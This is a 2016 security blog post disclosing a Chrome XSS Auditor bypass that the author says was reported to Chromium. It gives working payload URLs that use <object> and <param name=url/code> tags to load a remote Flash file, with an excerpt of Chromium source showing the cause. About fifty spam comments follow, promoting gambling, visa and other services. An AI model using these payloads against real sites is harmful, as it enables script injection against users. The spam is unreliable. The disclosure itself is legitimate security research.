Tuesday, December 27, 2016

XSS Auditor bypass using obscure <param> tag

Hi there!
I just found an XSS Auditor bypass by accident when I read Chromium's code for the another reason.
In this short post, I'd like to share this bypass. I confirmed that it works on Chrome Canary 57.
I have already reported here: https://bugs.chromium.org/p/chromium/issues/detail?id=676992

The bypass is:

https://vulnerabledoma.in/char_test?body=%3Cobject%20allowscriptaccess=always%3E%20%3Cparam%20name=url%20value=https://l0.cm/xss.swf%3E
<object allowscriptaccess=always>
<param name=url value=https://l0.cm/xss.swf>
Also it works:

https://vulnerabledoma.in/char_test?body=%3Cobject%20allowscriptaccess=always%3E%20%3Cparam%20name=code%20value=https://l0.cm/xss.swf%3E
<object allowscriptaccess=always>
<param name=code value=https://l0.cm/xss.swf>
I didn't know that Chrome supports such params until I found it in the HTMLObjectElement.cpp:
if (url.isEmpty() && urlParameter.isEmpty() &&
    (equalIgnoringCase(name, "src") || equalIgnoringCase(name, "movie") ||
     equalIgnoringCase(name, "code") || equalIgnoringCase(name, "url")))
  urlParameter = stripLeadingAndTrailingHTMLSpaces(p->value());
The <param name="src" value="//attacker/xss.swf"> and <param name="movie" value="//attacker/xss.swf"> are blocked by XSS Auditor. But I noticed that code and url are not blocked. Using this, we can load Flash and execute the JavaScript. According to the source code's comment, it seems Chrome supports this for compatibility. But at least I confirmed it does not work on IE/Edge and Firefox. I think Chrome can remove this support :)

That's it. I wrote about XSS Auditor bypass using <param>. Thanks for reading!

67 comments:

  1. To do Not Pressure OR Anything, But Have Ever This considered post there is statement PT Lampung Service this is a
    Service HP Bandar Lampung whose looking to do day
    Service iPhone Lampung to this looking then to that is
    Jasa Kursus Service HP I will try it.
    Jasa Kursus Service HP They have jumping places and so that the device other kid's activity.Youtuber Lampung , Thanks ! Visit Back.

    ReplyDelete
    Replies
    1. Great Article. Thank you for sharing! Really an awesome post for every one.

      IEEE Final Year projects Project Centers in Chennai are consistently sought after. Final Year Students Projects take a shot at them to improve their aptitudes, while specialists like the enjoyment in interfering with innovation. For experts, it's an alternate ball game through and through. Smaller than expected IEEE Final Year project centers ground for all fragments of CSE & IT engineers hoping to assemble. Final Year Project Domains for IT It gives you tips and rules that is progressively critical to consider while choosing any final year project point.

      JavaScript Training in Chennai

      JavaScript Training in Chennai

      Delete
  2. toptan iç giyim tercih etmenizin sebebi kaliteyi ucuza satın alabilmektir. Ürünler yine orjinaldir ve size sorun yaşatmaz. Yine de bilinen tekstil markalarını tercih etmelisiniz.

    Digitürk başvuru güncel adresine hoşgeldiniz. Hemen başvuru yaparsanız anında kurulum yapmaktayız.

    tutku iç giyim Türkiye'nin önde gelen iç giyim markalarından birisi olmasının yanı sıra en çok satan markalardan birisidir. Ürünleri hem çok kalitelidir hem de pamuk kullanımı daha fazladır.

    nbb sütyen hem kaliteli hem de uygun fiyatlı sütyenler üretmektedir. Sütyene ek olarak sütyen takımı ve jartiyer gibi ürünleri de mevcuttur. Özellikle Avrupa ve Orta Doğu'da çokça tercih edilmektedir.

    yeni inci sütyen kaliteyi ucuz olarak sizlere ulaştırmaktadır. Çok çeşitli sütyen varyantları mevcuttur. iç giyime damga vuran markalardan biridir ve genellikle Avrupa'da ismi sıklıkla duyulur.

    iç giyim ürünlerine her zaman dikkat etmemiz gerekmektedir. Üretimde kullanılan malzemelerin kullanım oranları, kumaşın esnekliği, çekmezlik testi gibi birçok unsuru aynı anda değerlendirerek seçim yapmalıyız.

    iç giyim bayanların erkeklere göre daha dikkatli oldukları bir alandır. Erkeklere göre daha özenli ve daha seçici davranırlar. Biliyorlar ki iç giyimde kullandıkları şeyler kafalarındaki ve ruhlarındaki özellikleri dışa vururlar.

    ReplyDelete
  3. I wanted to thank you for this excellent read!! I definitely loved every little bit of it. I’ve got you bookmarked to look at new stuff you post…
    Moviesda

    ReplyDelete
  4. Fantastic goods article. I've understood your stuff before and you're great.. I really love this website, keep it up thanks.. You can fill the visa transit Turkey application form through the online Turkish visa Guide.

    ReplyDelete
  5. I really enjoyed reading this fantastic blog.. Foreign travelers who wish to travel to Azerbaijan need to apply for e visa to Azerbaijan online that provide the fast and secure visa services.

    ReplyDelete
  6. I truly love your site.. Great colors & theme.
    Did you make this amazing site yourself? Please reply
    back as I’m hoping to create my own personal website and would love
    to know where you got this from or just what the theme is called.
    Many thanks! 토토

    ReplyDelete
  7. However I wish to say that this write-up very compelled me to take a look at and do it! Your writing taste has been surprised me. Thank you
    경마
    온라인경마

    ReplyDelete
  8. Spot on with this write-up, I absolutely believe that this website needs a lot more attention. I’ll probably be returning to read more, thanks for the advice! 카지노

    ReplyDelete
  9. You need to be a part of a contest for one of the finest websites on the net.
    I’m going to recommend this web site! 사설토토

    ReplyDelete
  10. Most individuals all over the globe desire to start a warm and loving family, and ukrainian brides are those ladies who are willing to marry a foreigner. To start a discussion with these females, you must first tell them everything about yourself. After you've completed all of this, you may begin hunting for the same woman. In my experience, you can totally trust these people because I've been in contact with a female I'm interested in for over a year owing to them.

    ReplyDelete
  11. I am really enjoying the design and layout of your blog.Complete the Kenya online visa application from on the Kenya eVisa website and confirm your application and pay kenya e visa fees. Within minutes

    ReplyDelete
  12. I definitely enjoy every little bit of it. This is a great website and good stock.I want to thank you. Apply Online emergency visa to India, Fill and online Submit Visa Application Form Securely via India visa website.

    ReplyDelete
  13. Excellent information Providing by your Article thank you for taking the time to share with us such a nice article. 스포츠토토

    ReplyDelete
  14. Thank you , this is really useful information towards my assessment. 토토

    ReplyDelete
  15. This is my first time go to see at here and i am really happy to read everything at single place. 슬롯머신

    ReplyDelete
  16. Finally I got a website from where I be capable of truly take helpful facts regarding my study and knowledge. 경마

    ReplyDelete
  17. Thanks for such a valuable post. I am waiting for your next post, I have enjoyed a lot reading this post keep it up.
    바카라사이트

    ReplyDelete
  18. Its an amazing website, I really enjoy reading your articles.
    토토

    ReplyDelete
  19. Thank you for providing a good quality article.
    온라인카지노

    ReplyDelete
  20. It very well may be very unpleasant to make the fundamental groundwork for the large day. There are so numerous things that can turn out badly. You may end up tracking down a couple of wrinkles or pimples preceding the huge day. This is unquestionably something which you would prefer not to see Feel free to visit my website; 토토사이트

    ReplyDelete
  21. You make so many great points here that I read your article a couple of times. Your views are in accordance with my own for the most part. This is great content for your readers. Feel free to visit my website; 배트맨토토

    ReplyDelete
  22. This is the post I was looking for 메이저사이트 I am very happy to finally read about the Thank you very much. Your post was of great help to me. If you are interested in the column I wrote, please visit my site .

    ReplyDelete
  23. These are in fact wonderful ideas in concerning blogging. You have touched some good factors here. Any way keep up wrinting. วิธีสมัคร ufabet

    ReplyDelete
  24. Wow, that's what I was looking for, what stuff! Present here on this website, thanks to the admin of this website.. Turkish visa is an electronic travel authorization which is a 100% online Turkish e visa process, which takes hardly 3-5 minutes to fill out an online application.

    ReplyDelete
  25. Thank you for everything I am very glad I was able to survive my salary recommending this article. And being able to travel around the world according to my dreams for 80 $ from the web, I would like to share my success as the link at the bottom.


    https://www.totosafeguide.com

    ReplyDelete
  26. It seems like I've never seen an article of a kind like . It literally means the best thorn. It seems to be a fantastic article. It is the best among articles related to 바카라사이트 . seems very easy, but it's a difficult kind of article, and it's perfect.

    ReplyDelete
  27. Thanks in support of sharing such a nice opinion, piece of writing is good, thats why i have read it fully. 바카라사이트

    ReplyDelete
  28. Yes i am completely concurred with this article and i simply need say this article is extremely decent and exceptionally useful article.I will make a point to be perusing your blog more. You made a decent point yet I can"t resist the urge to ponder, shouldn"t something be said about the other side? 먹튀검증업체 .

    ReplyDelete
  29. That's a really impressive new idea! 안전한놀이터 It touched me a lot. I would love to hear your opinion on my site. Please come to the site I run once and leave a comment. Thank you.

    ReplyDelete
  30. I think your website has a lot of useful knowledge. I'm so thankful for this website.
    I hope that you continue to share a lot of knowledge.
    This is my website.
    머니상

    ReplyDelete
  31. I think a lot of articles related to are disappearing someday. That's why it's very hard to find, but I'm very fortunate to read your writing. When you come to my site, I have collected articles related to 크레이지슬롯 .

    ReplyDelete
  32. I think your website has a lot of useful knowledge. I'm so thankful for this website.
    I hope that you continue to share a lot of knowledge.
    This is my website.
    넷파블머니상

    ReplyDelete
  33. Which is some inspirational stuff. Never knew that opinions might be this varied. Thank you for all the enthusiasm to provide such helpful information here.바카라사이트 It helped me a lot. If you have time, I hope you come to my site and share your opinions. Have a nice day.

    ReplyDelete
  34. The content you shared with us is great. Thanks for sharing it. You can apply for Indian visa by clicking the link we just provided. Thanks for adding value to the post.

    ReplyDelete
  35. I’m thinking some of my readers might find a bit of this interesting. Do you mind if I post a clip from this and link back? Thanks 사설토토

    ReplyDelete
  36. This is new knowledge for me, I am excited about it. thanks....tourist visa India, You can get an online tourist visa for India and visit the beautiful religious places of India etc.

    ReplyDelete
  37. İnstagram takipçi satın al! İnstagram takipçi sitesi ile takipçi satın al sende sosyal medyada fenomen olmaya bir adım at. Sende hemen instagram takipçi satın almak istiyorsan tıkla:

    1- takipçi satın al

    2- takipçi satın al

    3- takipçi satın al

    ReplyDelete
  38. Your blogs are great.Are you also searching for Nursing writing papers ? we are the best solution for you. We are best known for delivering nursing writing services to students without having to break the bank.whatsapp us:+1-(951)-468-9855

    ReplyDelete
  39. I want to always read your blogs. I love them Are you also searching for nursing diagnosis writing services? we are the best solution for you. We are best solution for you.

    ReplyDelete
  40. Pretty nice post. I just stumbled upon your weblog and wanted to say that I have really enjoyed browsing your blog posts. After all I’ll be subscribing to your feed and I hope you write again soon! rolet online

    ReplyDelete
  41. Good afternoon sir and your blog is great. Many people ask, India business visa requirements, you can see on my blog that all requirements related to business visa are available here.

    ReplyDelete
  42. The vacation trades offered are evaluated a variety of in the chosen and simply good value all around the world. Those hostels are normally based towards households which you’ll find accented via charming shores promoting crystal-clear fishing holes, concurrent of one’s Ocean. Hotels Discounts 메이저사이트

    ReplyDelete
  43. I was impressed with your article's clarity and how clear you presented the information. We are happy to announce that Myanmar evisa are now available to travelers worldwide with effect from 1st April 2022. I hope you are excited to explore the untouched beauty of Myanmar.

    ReplyDelete
  44. I was impressed by your writing. Your writing is impressive. I want to write like you.안전놀이터 I hope you can read my post and let me know what to modify. My writing is in I would like you to visit my blog.

    ReplyDelete
  45. There are a lot of commercial security alarm companies out there, and it can be tough to know which one to choose. commercial security alarm companies

    ReplyDelete
  46. Create task lists and workflows, assign tasks to team members and monitor all actions. Actionable check list items can be assigned to the concerned person or department and team leads can see the tasks assigned by them and the current progress. venue workflow management

    ReplyDelete
  47. TBI Mauritius can assist you in company formation in Mauritius and guide you all along the way from business registration, explaining the different type of offshore companies in Mauritius, buying and setting up your workspace to hiring talented professionals and meeting the legalities with robustness and accuracy. Setting Up A Company In Mauritius

    ReplyDelete
  48. Meeting rooms are situated away from the public areas, available day and evening, with or without private dining. If your itinerary allows it, slope based activities can be arranged which include effective teambuilding exercises created and led by our snow sports team. Your package can even include teaching your group a brand new sport! Meeting Rooms Yorkshire

    ReplyDelete